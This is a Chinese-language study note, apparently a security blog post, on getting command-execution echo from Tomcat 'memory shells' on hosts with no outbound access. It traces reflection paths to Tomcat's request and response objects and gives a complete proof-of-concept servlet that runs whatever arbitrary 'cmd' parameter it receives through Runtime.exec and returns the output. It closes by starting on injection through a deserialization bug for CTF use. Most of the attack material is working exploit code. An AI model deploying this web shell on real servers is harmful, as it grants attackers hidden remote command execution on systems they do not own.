参考文章1
参考文章2
内存马回显技术 所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell 的情况。对于Java的中间件来讲,其关键就是获取request和response对象。
(这里我对不出网的理解是不能进行外连(也就是无法弹shell了),就是只能接收到外部请求)
那么这种情况就只能写入内存马 并且就是得想要request对象将生成的结果带出来 (那么HttpServletRequest
ServletRequest
这种来获取request就是不行的)
ThreadLocal Response回显(有局限性) 首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
类中找到这样两个变量lastServicedRequest
和lastServicedResponse
。并且这两个属性还是静态的,我们获取时无需实例化对象。
对这个ThreadLocal<ServletRequest>
的解释
[41.png)
在我们熟悉的ApplicationFilterChain#internalDoFilter
中,Tomcat会将request对象和response对象存储到这两个变量中
下了个断点来看这个ApplicationDispatcher.WRAP_SAME_OBJECT
,这个默认是False
所以我们要是想进行进入到里面进行操作的话 得想要反射进行修改赋值
可以总结思路如下
反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
的值,通过ThreadLocal#set
方法将request和response对象存储到变量中
初始化lastServicedRequest
和lastServicedResponse
两个变量,默认为null
通过ThreadLocal#get
方法将request和response对象从lastServicedRequest
和lastServicedResponse
中取出
反射存储request和response 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" );Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" );Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null )){ WRAP_SAME_OBJECT_FIELD.setBoolean(null ,true ); }
(final变量并不是不可修改的)
在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
,因此目前我只发现了低版本的这种回显方式
初始化变量 由于变量在Tomcat初始化运行的时候会被设置为null,因此我们还需要初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类
上面话的意思就是这两个参数会被设置为null 我们需要自己初始化成ThreadLocal类
1 2 3 4 5 6 7 if (lastServicedRequestField.get(null )==null ){ lastServicedRequestField.set(null , new ThreadLocal <>()); } if (lastServicedResponseField.get(null )==null ){ lastServicedResponseField.set(null , new ThreadLocal <>()); }
获取request变量 1 2 3 4 5 6 if (lastServicedRequestField.get(null )!=null ){ ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null ); ServletRequest servletRequest = (ServletRequest) threadLocal.get(); System.out.println(servletRequest); System.out.println((HttpServletRequest) servletRequest == req); }
(这里我就不搭建环境来进行模拟了 因为比较懒)
局限性 如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter
方法中,doFilter方法实际上是在我们获取response之前的。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { ... } else { filter.doFilter(request, response, this ); } ... try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } ... } else { servlet.service(request, response); } } ... }
通过全局存储Response回显 Servlet容器是Java Web的核心,因此很多框架对于该容器都进行了一定程度的封装。不同框架、同一框架的不同版本的实现都有可能不同,因此我们很难找到一种通用的获取回显的方法。
比如我们上文通过ThreadLocal类来获取回显的方式就无法适用于Shiro框架下,那么我们能不能换一种思路,寻找Tomcat中全局存储的Request和Response呢?
但我们知道想要获取回显,request和response对象必须是属于当前线程的,因此通过全局存储获取回显的关键就在于找到当前代码运行的上下文和Tomcat运行上下文的联系。
寻找全局Response 先来看一下tomcat的调用链
首先我们先来寻找一下Tomcat中的一些全局Response。在AbstractProcessor
类中,我们能够找到全局response
先寻找入口点 就是全局request的地方 然后再想办法来获取它
这就是这个全部request的位置 然后跟据这个tomcat调用栈的调用顺序 来看谁调用了它 怎么进行获取
(AbstractProcessorLight是AbstractProcessor的父类)
调用了Http11Processor#service
方法
而Http11Processor
继承了AbstractProcessor
类,这里的response对象正是AbstractProcessor
类中的属性,因此我们如果能获取到Http11Processor
类,就能获取到response对象
那么就去寻找哪里调用了这个Http11processor
继续分析调用栈 发现在AbstractProtocol的内部类ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor:
我们再这一步进行跟进,在register
方法中有一个Requestinfo
类型的对象rp
,他在里面也封装着一个request
对象,之后将requestinfo
对象存入global
属性中:
所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocol
的global
属性当中,那现在需要做的就是如何找到储存了AbstractProtocol
类的地方,只要找到了我们就可以通过反射获取(Handler是ConnectionHandler的父类):
这就是完整的思路了
所以现在就是需要获取AbstractProtocol
,我们继续观察调用栈,可以发现在CoyoteAdapter
类中的connector属性中存放了protocolHandler
对象:
这是AbstractProtocol和protocolHandler 的值关系
此时的调用链变成
1 Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this .global-------->RequestInfo------->Request-------->Response
下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector
StandardService#addConnector
如下,该方法会将Connector放入属性connectors
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void addConnector (Connector connector) { synchronized (connectorsLock) { connector.setService(this ); Connector results[] = new Connector [connectors.length + 1 ]; System.arraycopy(connectors, 0 , results, 0 , connectors.length); results[connectors.length] = connector; connectors = results; } try { if (getState().isAvailable()) { connector.start(); } } catch (LifecycleException e) { throw new IllegalArgumentException ( sm.getString("standardService.connector.startFailed" , connector), e); } support.firePropertyChange("connector" , null , connector); }
最终我们的调用链如下
1 StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this .global-------->RequestInfo------->Request-------->Response
下面的工作就是获取StandardService对象了,在此之前我们先了解一下Tomcat的类加载机制。
Tomcat的类加载机制 这里太绕了 看不懂 感兴趣的话可以去参考文章去看
构造payload 按照上文对调用栈分析的思路,我们可以依次构造出如下Payload
(下面做的分析铺垫全是为了获取StandardService) Tomcat的类加载机制也是讲述了如何获取StandardService
获取StandardContext 1 2 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
获取ApplicationContext StandardContext中没有直接的方法获取context,因此我们需要通过反射获取
1 2 3 Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" );context.setAccessible(true ); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
获取StandardService 同样使用反射获取
1 2 3 4 Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("service" );standardServiceField.setAccessible(true ); StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
获取Connector 1 2 3 4 5 Field connectorsField = Class.forName("org.apache.catalina.connector.Connector" ).getDeclaredField("connectors" );connectorsField.setAccessible(true ); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0 ];
获取Handler 我们可以通过Connector#getProtocolHandler
方法来获取对应的protocolHandler
这里获取的protocolHandler是Http11NioProtocol
对象,前面我们分析过了该类继承了AbstractProtocol
类,下面我们再通过反射获取Handler——内部类ConnectionHandler
1 2 3 4 5 ProtocolHandler protocolHandler = connector.getProtocolHandler();Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" );handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
获取内部类ConnectionHandler的 global属性 1 2 3 4 Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" );globalHandler.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
获取processor global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象
1 2 3 4 Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" );processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);
最后我们获取request和response对象
获取request和response 这里我选择进一步获取org.apache.catalina.connector.Request
对象,因为它继承自HttpServletRequest
,我们可以通过PrintWrinter
类直接获取回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Field requestField = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" );requestField.setAccessible(true ); for (RequestInfo requestInfo : requestInfoList){ org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response http_response = http_request.getResponse(); PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); }
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.ProtocolHandler;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint; import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner; @WebServlet("/response") public class Tomcat_Echo_Response extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); System.out.println(standardContext); try { Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext); Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService = (StandardService) standardServiceField.get(applicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectorsField.setAccessible(true ); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0 ]; ProtocolHandler protocolHandler = connector.getProtocolHandler(); Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" ); handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler); Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); globalHandler.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler); Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global); Field requestField = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); requestField.setAccessible(true ); for (RequestInfo requestInfo : requestInfoList){ org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response http_response = http_request.getResponse(); PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
这里注意一下有点就是 getResource() 跟tomcat版本有关
不给用这里 所以得换一个 tomcat版本
(这里后面我用的是tomcat 9.0.1版本)
成功执行
反序列化注入内存马 在CTF中,我们注入内存马的目的往往是为了获取不出网机器的回显,而内存马的注入往往是通过反序列化漏洞。下面我们就来聊聊如何通过一个反序列化漏洞来注入内存马。
环境搭建 下面我们先来搭建一个存在反序列化漏洞的环境,编写一个存在反序列化漏洞的Servlet。这里JDK版本为jdk8u_65